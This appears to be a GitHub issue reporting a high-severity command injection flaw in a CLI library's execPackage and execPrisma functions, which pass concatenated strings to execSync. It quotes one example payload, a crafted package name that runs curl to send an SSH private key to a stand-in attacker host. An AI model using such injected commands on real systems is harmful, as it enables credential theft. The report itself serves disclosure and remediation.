Skip to content

fix(cli): command injection via unsanitized string concatenation in execpackage and execprisma #2738

Description

Description

execPackage and execPrisma build shell commands by concatenating strings and pass them to child_process.execSync (shell mode). If any caller passes user-influenced input (e.g., package names or prisma CLI args derived from CLI arguments, config files, or schema names), an attacker can inject arbitrary shell commands. For example, a crafted package name like "legit; curl attacker.com/exfil?d=$(cat ~/.ssh/id_rsa)" would execute the injected command. This is a library with downstream consumers, so the blast radius extends to all consumers who don't sanitize before calling these. The execPrisma path is particularly concerning since it's called with args that may originate from user-provided Prisma schema or CLI flags.

Severity: high
File: packages/cli/src/utils/exec-utils.ts

Expected Behavior

The code should handle this case properly to avoid unexpected errors or degraded quality.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions